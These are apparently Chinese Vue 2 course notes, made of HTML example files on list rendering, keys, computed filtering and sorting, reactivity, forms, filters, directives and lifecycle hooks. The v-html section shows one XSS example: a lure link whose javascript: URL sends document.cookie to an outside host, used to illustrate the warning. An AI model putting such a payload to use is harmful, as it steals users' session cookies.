十一、列表渲染
1、列表渲染
1 <!DOCTYPE html>
2 <html lang="en">
3 <head>
4 <meta charset="UTF-8">
5 <title>列表渲染</title>
6 <script src="js/vue.js"></script>
7 </head>
8 <body>
9
10 <div id="root">
11 <!-- 数组 -->
12 <h2>人员列表</h2>
13 <ul>
14 <li v-for="person in persons" :key="person.id">
15 {{person.name}}-{{person.age}}
16 </li><br><br>
17
18 <li v-for="(person,index) in persons" :key="index">
19 {{person.name}}-{{person.age}}
20 </li>
21 </ul>
22 <br><br>
23 <!-- 对象 -->
24 <h2>汽车信息</h2>
25 <ul>
26 <li v-for="(value,key) in car" :key="key">
27 {{key}}-{{value}}
28 </li>
29 </ul>
30 <br><br>
31 <!-- 字符串 -->
32 <h2>字符</h2>
33 <ul>
34 <li v-for="(char,index) in str" :key="index">
35 {{index}}-{{char}}
36 </li>
37 </ul>
38 <br><br>
39 <!-- 指定次数 -->
40 <h2>指定次数</h2>
41 <ul>
42 <li v-for="(number,index) in 5" :key="index">
43 {{index}}-{{number}}
44 </li>
45 </ul>
46 </div>
47 </body>
48
49 <script>
50 new Vue({
51 el:'#root',
52 data:{
53 persons:[
54 {id:"001",name:"张三",age:18},
55 {id:"002",name:"李四",age:19},
56 {id:"003",name:"王五",age:20}
57 ],
58 car:{
59 name:'奥迪',
60 price:'80万',
61 color:'black'
62 },
63 str:'hello'
64 }
65 })
66 </script>
67
68 </html>
2、Key的原理
1 <!DOCTYPE html>
2 <html lang="en">
3 <head>
4 <meta charset="UTF-8">
5 <title>Key的原理</title>
6 <script src="js/vue.js"></script>
7 </head>
8 <body>
9 <!--
10 面试题:react、vue中的key有什么作用?(key的内部原理)
11 1. 虚拟DOM中key的作用:
12 key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】,
13 随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下:
14 2.对比规则:
15 (1).旧虚拟DOM中找到了与新虚拟DOM相同的key:
16 ①.若虚拟DOM中内容没变, 直接使用之前的真实DOM!
17 ②.若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM。
18 (2).旧虚拟DOM中未找到与新虚拟DOM相同的key
19 创建新的真实DOM,随后渲染到到页面。
20 3. 用index作为key可能会引发的问题:
21 1. 若对数据进行:逆序添加、逆序删除等破坏顺序操作:
22 会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。
23 2. 如果结构中还包含输入类的DOM:
24 会产生错误DOM更新 ==> 界面有问题。
25 4. 开发中如何选择key?:
26 1.最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。
27 2.如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,
28 使用index作为key是没有问题的。
29 -->
30 <div id="root">
31 <h2>人员列表</h2>
32 <ul>
33 <button @click="add">添加一个老六</button>
34
35
36 <li v-for="person in persons" :key="person.id">
37 {{person.name}}-{{person.age}}
38 <input type="text">
39 </li><br><br>
40
41 <!-- <li v-for="(person,index) in persons" :key="index">-->
42 <!-- {{person.name}}-{{person.age}}-->
43 <!-- <input type="text">-->
44 <!-- </li>-->
45 </ul>
46
47 </div>
48 </body>
49 <script>
50 new Vue({
51 el:'#root',
52 data:{
53 persons:[
54 {id:"001",name:"张三",age:18},
55 {id:"002",name:"李四",age:19},
56 {id:"003",name:"王五",age:20}
57 ],
58 },
59 methods:{
60 add(){
61 const n = {id:"004",name:"老六",age:40}
62 this.persons.unshift(n)
63 }
64 }
65 })
66 </script>
67
68 </html>
3、列表过滤
1 <!DOCTYPE html>
2 <html lang="en">
3 <head>
4 <meta charset="UTF-8">
5 <title>列表过滤</title>
6 <script src="js/vue.js"></script>
7 </head>
8 <body>
9 <div id="root">
10 <h2>人员列表</h2>
11 <ul>
12 <input type="text" placeholder="请输入名字" v-model="keyWord">
13 <li v-for="person in filPersons" :key="person.id">
14 {{person.name}}-{{person.age}}-{{person.sex}}
15 </li>
16 </ul>
17
18 </div>
19 </body>
20 <script>
21 // 用watch实现
22 // new Vue({
23 // el:'#root',
24 // data:{
25 // keyWord:'',
26 // persons:[
27 // {id:"001",name:"马冬梅",age:18,sex:"女"},
28 // {id:"002",name:"周冬雨",age:19,sex:"女"},
29 // {id:"003",name:"周杰伦",age:20,sex:"男"},
30 // {id:"004",name:"温兆伦",age:21,sex:"男"}
31 // ],
32 // filPersons:[]
33 // },
34 // watch:{
35 // keyWord: {
36 // immediate:true,
37 // handler(value){
38 // this.filPersons = this.persons.filter((person)=>{
39 // return person.name.indexOf(value) !== -1
40 // })
41 // }
42 // }
43 // }
44 // })
45
46 // 用computed实现(优先使用)
47 new Vue({
48 el:'#root',
49 data:{
50 keyWord:'',
51 persons:[
52 {id:"001",name:"马冬梅",age:18,sex:"女"},
53 {id:"002",name:"周冬雨",age:19,sex:"女"},
54 {id:"003",name:"周杰伦",age:20,sex:"男"},
55 {id:"004",name:"温兆伦",age:21,sex:"男"}
56 ],
57 },
58 computed:{
59 // keyWord只要变了,filPersons就会执行
60 filPersons(){
61 return this.persons.filter((person)=>{
62 return person.name.indexOf(this.keyWord) !== -1
63 })
64 }
65 }
66 })
67
68 </script>
69 </html>
4、列表排序
1 <!DOCTYPE html>
2 <html lang="en">
3 <head>
4 <meta charset="UTF-8">
5 <title>列表排序</title>
6 <script src="js/vue.js"></script>
7 </head>
8 <body>
9 <div id="root">
10 <h2>人员列表</h2>
11 <ul>
12 <input type="text" placeholder="请输入名字" v-model="keyWord">
13 <button @click="sortType = 2">年龄升序</button>
14 <button @click="sortType = 1">年龄降序</button>
15 <button @click="sortType = 0">原顺序</button>
16 <li v-for="person in filPersons" :key="person.id">
17 {{person.name}}-{{person.age}}-{{person.sex}}
18 </li>
19 </ul>
20
21 </div>
22 </body>
23
24 <script>
25 // 用computed实现(优先使用)
26 new Vue({
27 el: '#root',
28 data: {
29 keyWord: '',
30 sortType: 0, //0原顺序 1降序 2升序
31 persons: [
32 {id: "001", name: "马冬梅", age: 30, sex: "女"},
33 {id: "002", name: "周冬雨", age: 35, sex: "女"},
34 {id: "003", name: "周杰伦", age: 29, sex: "男"},
35 {id: "004", name: "温兆伦", age: 32, sex: "男"}
36 ],
37 },
38 computed: {
39 // keyWord只要变了,filPersons就会执行
40 filPersons() {
41 const arr = this.persons.filter((person) => {
42 return person.name.indexOf(this.keyWord) !== -1
43 })
44 if (this.sortType) {
45 arr.sort((p1, p2) => {
46 return this.sortType === 1 ? p2.age - p1.age : p1.age - p2.age
47 })
48 }
49 return arr
50 }
51 }
52 })
53
54 </script>
55
56 </html>
5、Vue数据监测
1 <!DOCTYPE html>
2 <html lang="en">
3 <head>
4 <meta charset="UTF-8">
5 <title>Vue数据监测</title>
6 <script src="js/vue.js"></script>
7 </head>
8 <body>
9 <!--
10 Vue监视数据的原理:
11 1. vue会监视data中所有层次的数据。
12 2. 如何监测对象中的数据?
13 通过setter实现监视,且要在new Vue时就传入要监测的数据。
14 (1).对象中后追加的属性,Vue默认不做响应式处理
15 (2).如需给后添加的属性做响应式,请使用如下API:
16 Vue.set(target,propertyName/index,value) 或 vm.$set(target,propertyName/index,value)
17 3. 如何监测数组中的数据?
18 通过包裹数组更新元素的方法实现,本质就是做了两件事:
19 (1).调用原生对应的方法对数组进行更新。 (2).重新解析模板,进而更新页面。
20 4.在Vue修改数组中的某个元素一定要用如下方法:
21 1.使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
22 2.Vue.set() 或 vm.$set()
23 特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性!!!
24 -->
25 <div id="root">
26 <h1>学生信息</h1>
27 <button @click="student.age++">年龄+1岁</button> <br/>
28 <h3>年龄:{{student.age}}</h3>
29
30 <button @click="addSex">添加性别属性,默认值:男</button> <br/>
31 <h3 v-if="student.sex">性别:{{student.sex}}</h3>
32 <button @click="student.sex = '未知' ">修改性别</button> <br/>
33
34 <button @click="addFriend">在列表首位添加一个朋友</button> <br/><br/>
35 <button @click="updateFirstFriendName">修改第一个朋友的名字为:jack</button>
36 <h3>朋友们:</h3>
37 <ul>
38 <li v-for="(f,index) in student.friends" :key="index">
39 {{f.name}}--{{f.age}}
40 </li>
41 </ul>
42
43 <button @click="addHobby">添加一个爱好</button> <br/>
44 <button @click="updateHobby">修改第一个爱好为:开车</button> <br/>
45 <button @click="removeSmoke">过滤掉爱好中的抽烟</button> <br/>
46 <h3>爱好:</h3>
47 <ul>
48 <li v-for="(h,index) in student.hobby" :key="index">
49 {{h}}
50 </li>
51 </ul>
52 </div>
53 </body>
54
55 <script type="text/javascript">
56 const vm = new Vue({
57 el: '#root',
58 data: {
59 student:{
60 name:'tom',
61 age:18,
62 hobby:['抽烟','喝酒','烫头'],
63 friends:[
64 {name:'jerry',age:35},
65 {name:'tony',age:36}
66 ]
67 }
68 },
69 methods:{
70 addSex(){
71 Vue.set(this.student,"sex","男")
72 // this.$set(this.student,"sex","男")
73 },
74 addFriend(){
75 this.student.friends.unshift({name:'tom',age:40})
76 },
77 updateFirstFriendName(){
78 this.student.friends[0].name = 'jack'
79 // Vue.set(this.student.friends[0],"name","jack")
80 },
81 addHobby(){
82 this.student.hobby.push("打游戏")
83 },
84 updateHobby(){
85 // this.student.hobby.splice(0,1,"开车")
86 // Vue.set(this.student.hobby,0,"开车")
87 this.$set(this.student.hobby,0,"开车")
88 },
89 removeSmoke(){
90 this.student.hobby = this.student.hobby.filter((h)=>{
91 return h !== "抽烟"
92 })
93 }
94 }
95 })
96 </script>
97
98 </html>
十二、收集表单数据
1 <!DOCTYPE html>
2 <html lang="en">
3 <head>
4 <meta charset="UTF-8">
5 <title>收集表单数据</title>
6 <script src="js/vue.js"></script>
7 </head>
8 <body>
9 <!--
10 收集表单数据:
11 若:<input type="text"/>,则v-model收集的是value值,用户输入的就是value值。
12 若:<input type="radio"/>,则v-model收集的是value值,且要给标签配置value值。
13 若:<input type="checkbox"/>
14 1.没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)
15 2.配置input的value属性:
16 (1)v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
17 (2)v-model的初始值是数组,那么收集的的就是value组成的数组
18 备注:v-model的三个修饰符:
19 lazy:失去焦点再收集数据
20 number:输入字符串转为有效的数字
21 trim:输入首尾空格过滤
22 -->
23 <div id="root">
24 <form @submit.prevent="demo">
25 账号:<input type="text" v-model.trim="userInfo.account"> <br/><br/>
26 密码:<input type="password" v-model="userInfo.password"> <br/><br/>
27 年龄:<input type="number" v-model.number="userInfo.age"> <br/><br/>
28 性别:
29 男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
30 女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>
31 爱好:
32 学习<input type="checkbox" v-model="userInfo.hobby" value="study">
33 打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
34 吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
35 <br/><br/>
36 所属校区
37 <select v-model="userInfo.city">
38 <option value="">请选择校区</option>
39 <option value="beijing">北京</option>
40 <option value="shanghai">上海</option>
41 <option value="shenzhen">深圳</option>
42 <option value="wuhan">武汉</option>
43 </select>
44 <br/><br/>
45 其他信息:
46 <textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
47 <input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a>
48 <button>提交</button>
49 </form>
50 </div>
51 </body>
52
53 <script type="text/javascript">
54 new Vue({
55 el: '#root',
56 data: {
57 userInfo:{
58 account:'',
59 password:'',
60 age:'',
61 sex:'female',
62 hobby:[],
63 city:'beijing',
64 other:'',
65 agree:''
66 }
67 },
68 methods:{
69 demo(){
70 console.log(JSON.stringify(this.userInfo))
71 }
72 }
73 })
74 </script>
75
76 </html>
十三、过滤器
1 <!DOCTYPE html>
2 <html lang="en">
3 <head>
4 <meta charset="UTF-8">
5 <title>过滤器</title>
6 <script src="js/vue.js"></script>
7 </head>
8 <body>
9 <!--
10 过滤器:
11 定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。
12 语法:
13 1.注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:{}}
14 2.使用过滤器:{{ xxx | 过滤器名}} 或 v-bind:属性 = "xxx | 过滤器名"
15 备注:
16 1.过滤器也可以接收额外参数、多个过滤器也可以串联
17 2.并没有改变原本的数据, 是产生新的对应的数据
18 -->
19 <div id="root">
20 <h2>显示格式化后的时间</h2>
21 <!-- 计算属性实现 -->
22 <h3>现在是:{{fmtTime}}</h3>
23 <!-- methods实现 -->
24 <h3>现在是:{{getFmtTime()}}</h3>
25 <!-- 过滤器实现 -->
26 <h3>现在是:{{time | timeFormater}}</h3>
27 <!-- 过滤器实现(传参) -->
28 <h3>现在是:{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
29 <h3 :x="msg | mySlice">京东</h3>
30 </div>
31
32 <div id="root2">
33 <h2>{{msg | mySlice}}</h2>
34 </div>
35 </body>
36
37 <script type="text/javascript">
38 Vue.filter('mySlice',function(value){
39 return value.slice(0,4)
40 })
41
42 new Vue({
43 el:'#root',
44 data:{
45 time:1621561377603, //时间戳
46 msg:'你好,京东'
47 },
48 computed: {
49 fmtTime(){
50 return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
51 }
52 },
53 methods: {
54 getFmtTime(){
55 return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
56 }
57 },
58 //局部过滤器
59 filters:{
60 timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){
61 // console.log('@',value)
62 return dayjs(value).format(str)
63 }
64 }
65 })
66
67 new Vue({
68 el:'#root2',
69 data:{
70 msg:'hello,jingdong!'
71 }
72 })
73 </script>
74
75 </html>
十四、内置指令
1、v-text指令
1 <!DOCTYPE html>
2 <html lang="en">
3 <head>
4 <meta charset="UTF-8">
5 <title>v-text指令</title>
6 <script src="js/vue.js"></script>
7 </head>
8 <body>
9 <!--
10 我们学过的指令:
11 v-bind : 单向绑定解析表达式, 可简写为 :xxx
12 v-model : 双向数据绑定
13 v-for : 遍历数组/对象/字符串
14 v-on : 绑定事件监听, 可简写为@
15 v-if : 条件渲染(动态控制节点是否存存在)
16 v-else : 条件渲染(动态控制节点是否存存在)
17 v-show : 条件渲染 (动态控制节点是否展示)
18 v-text指令:
19 1.作用:向其所在的节点中渲染文本内容。
20 2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
21 -->
22 <div id="root">
23 <h2>你好,{{name}}</h2>
24 <h2 v-text="name"></h2>
25 </div>
26 </body>
27
28 <script type="text/javascript">
29 new Vue({
30 el:'#root',
31 data:{
32 name:"哈哈哈"
33 }
34 })
35 </script>
36 </html>
2、v-html指令
1 <!DOCTYPE html>
2 <html lang="en">
3 <head>
4 <meta charset="UTF-8">
5 <title>v-html指令</title>
6 <script src="js/vue.js"></script>
7 </head>
8 <body>
9 <!--
10 v-html指令:
11 1.作用:向指定节点中渲染包含html结构的内容。
12 2.与插值语法的区别:
13 (1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
14 (2).v-html可以识别html结构。
15 3.严重注意:v-html有安全性问题!!!!
16 (1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
17 (2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
18 -->
19 <div id="root">
20 <h2>你好,{{name}}</h2>
21 <h2 v-html="str"></h2>
22 <h2 v-html="str2"></h2>
23 </div>
24 </body>
25
26 <script type="text/javascript">
27 new Vue({
28 el:'#root',
29 data:{
30 name:"张三",
31 str:"<h3>你好啊</h3>",
32 str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
33 }
34 })
35 </script>
36
37 </html>
3、v-cloak指令
1 <!DOCTYPE html>
2 <html lang="en">
3 <head>
4 <meta charset="UTF-8">
5 <title>v-cloak指令</title>
6 <style>
7 [v-cloak]{
8 display:none;
9 }
10 </style>
11 </head>
12 <body>
13 <!--
14 v-cloak指令(没有值):
15 1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
16 2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
17 -->
18 <div id="root">
19 <h2 v-cloak>你好,{{name}}</h2>
20 </div>
21 <script src="js/vue.js"></script> //5秒后加载
22
23 </body>
24
25 <script type="text/javascript">
26 new Vue({
27 el:'#root',
28 data: {
29 name: "张三",
30
31 }
32 })
33 </script>
34 </html>
4、v-once指令
1 <!DOCTYPE html>
2 <html lang="en">
3 <head>
4 <meta charset="UTF-8">
5 <title>v-once指令</title>
6 <script src="js/vue.js"></script>
7 </head>
8 <body>
9 <!--
10 v-once指令:
11 1.v-once所在节点在初次动态渲染后,就视为静态内容了。
12 2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
13 -->
14 <div id="root">
15 <h2 v-once>初始的n值是{{n}}</h2>
16 <h2>当前的n值是{{n}}</h2>
17 <button @click="n++">点我n+1</button>
18 </div>
19 </body>
20 <script type="text/javascript">
21 new Vue({
22 el:'#root',
23 data: {
24 n:1,
25 }
26 })
27 </script>
28 </html>
5、v-pre指令
1 <!DOCTYPE html>
2 <html lang="en">
3 <head>
4 <meta charset="UTF-8">
5 <title>v-pre指令</title>
6 <script src="js/vue.js"></script>
7 </head>
8 <body>
9 <!--
10 v-pre指令:
11 1.跳过其所在节点的编译过程。
12 2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
13 -->
14 <div id="root">
15 <h2 v-pre>Vue很简单</h2>
16 <h2>当前的n值是{{n}}</h2>
17 <button @click="n++">点我n+1</button>
18 </div>
19 </body>
20 <script type="text/javascript">
21 new Vue({
22 el:'#root',
23 data: {
24 n:1,
25 }
26 })
27 </script>
28 </html>
十五、自定义指令
1 <!DOCTYPE html>
2 <html lang="en">
3 <head>
4 <meta charset="UTF-8">
5 <title>自定义指令</title>
6 <script src="js/vue.js"></script>
7 </head>
8 <body>
9 <!--
10 需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
11 需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
12 自定义指令总结:
13 一、定义语法:
14 (1).局部指令:
15 new Vue({ new Vue({
16 directives:{指令名:配置对象} 或 directives{指令名:回调函数}
17 }) })
18 (2).全局指令:
19 Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)
20 二、配置对象中常用的3个回调:
21 (1).bind:指令与元素成功绑定时调用。
22 (2).inserted:指令所在元素被插入页面时调用。
23 (3).update:指令所在模板结构被重新解析时调用。
24 三、备注:
25 1.指令定义时不加v-,但使用时要加v-;
26 2.指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。
27 -->
28 <div id="root">
29 <h2>当前的n值是: <span v-text="n"></span> </h2>
30 <h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
31 <!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2>-->
32 <button @click="n++">点击n+1</button>
33 <hr>
34 <input type="text" v-fbind:value="n">
35 </div>
36
37 </body>
38 <script type="text/javascript">
39 // 定义全局指令
40 // Vue.directive('fbind',{
41 // // 指令与元素成功绑定时(一上来)
42 // bind(element,binding){
43 // element.value = binding.value
44 // },
45 // //指令所在元素被插入页面时
46 // inserted(element,binding){
47 // element.focus()
48 // },
49 // //指令所在的模板被重新解析时
50 // update(element,binding){
51 // element.value = binding.value
52 // }
53 // })
54
55 // Vue.directive('big',function (element,binding) {
56 // element.innerText = binding.value * 10
57 // })
58
59 new Vue({
60 el:'#root',
61 data: {
62 n:1,
63 },
64 directives:{
65 //big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。
66 big(element,binding){
67 // console.log('big',this) //注意此处的this是window
68 element.innerText = binding.value * 10
69 },
70 // 'big-number'(element,binding){
71 // element.innerText = binding.value * 10
72 // },
73 fbind:{
74 // 指令与元素成功绑定时(一上来)
75 bind(element,binding){
76 element.value = binding.value
77 },
78 //指令所在元素被插入页面时
79 inserted(element,binding){
80 element.focus()
81 },
82 //指令所在的模板被重新解析时
83 update(element,binding){
84 element.value = binding.value
85 }
86 }
87 }
88 })
89
90 </script>
91 </html>
十六、生命周期
1、
1 <!DOCTYPE html>
2 <html lang="en">
3 <head>
4 <meta charset="UTF-8">
5 <title>生命周期</title>
6 <script src="js/vue.js"></script>
7 </head>
8 <body>
9 <div id="root">
10 <h2>当前的n值是{{n}}</h2>
11 <button @click="add">点我n+1</button>
12 <button @click="bye">点我销毁vm</button>
13 </div>
14 </body>
15 <script type="text/javascript">
16 new Vue({
17 el:'#root',
18 // template:`
19 // <div>
20 // <h2>当前的n值是:{{n}}</h2>
21 // <button @click="add">点我n+1</button>
22 // </div>
23 // `,
24 data: {
25 n:1,
26 },
27 methods:{
28 add(){
29 console.log('add')
30 this.n++
31 },
32 bye(){
33 console.log('bye')
34 this.$destroy()
35 }
36 },
37 watch:{
38 n(){
39 console.log('n变了')
40 }
41 },
42 //beforeCreate:此时无法通过vm访问到data中的数据、methods中的方法。(数据监测与数据代理)
43 beforeCreate() {
44 console.log('beforeCreate')
45 },
46 //created:此时可以通过vm访问到data中的数据、methods中配置的方法。(数据监测与数据代理)
47 created() {
48 console.log('created')
49 },
50 //beforeMount:此时1. 页面呈现的是未经Vue编译的DOM结构2. 所有对DOM的操作,最终都不奏效。
51 beforeMount() {
52 console.log('beforeMount')
53 },
54 //mounted:此时,
55 //1.页面中呈现的是经过Vue编译的DOM。
56 //2.对DOM的操作均有效(尽可能避免)。至此初始化过程结束,一般在此进行:
57 // 开启定时器、发送网络请求、订阅消息、绑定自定义事件、等初始化操作。
58 mounted() {
59 console.log('mounted')
60 },
61 //beforeUpdate:此时数据是新的,但页面是旧的,即页面尚未和数据保持同步。
62 beforeUpdate() {
63 console.log('beforeUpdate')
64 },
65 //updated:此时数据是新的,页面也是新的,即页面和数据保持同步。
66 updated() {
67 console.log('updated')
68 },
69 //beforeDestroy:此时vm中所有的data、 methods、指令等等都处于可用状态,马上要执行销毁过程,
70 //一般在此阶段有关闭定时器、取消订阅消息、解绑自定义事件等收尾操作。
71 beforeDestroy() {
72 console.log('beforeDestroy')
73 },
74 destroyed() {
75 console.log('destroyed')
76 }
77 })
78 </script>
79 </html>
2、
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>生命周期2</title>
<script src="js/vue.js"></script>
</head>
<body>
<!--
常用的生命周期钩子:
1.mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
2.beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。
关于销毁Vue实例
1.销毁后借助Vue开发者工具看不到任何信息。
2.销毁后自定义事件会失效,但原生DOM事件依然有效。
3.一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了。
-->
<div id="root">
<h2 :style="{opacity}">欢迎学习Vue</h2>
<button @click="opacity = 1">透明度设置为1</button>
<button @click="stop">点我停止变换</button>
</div>
</body>
<script type="text/javascript">
new Vue({
el:'#root',
data: {
opacity:1,
},
methods:{
stop(){
this.$destroy()
}
},
mounted(){
// console.log('mounted',this)
this.timer = setInterval(() => {
// console.log('setInterval') //定时器没有关
this.opacity -= 0.01
if(this.opacity <= 0) this.opacity = 1
},16)
},
beforeDestroy() {
clearInterval(this.timer)
}
})
</script>
</html>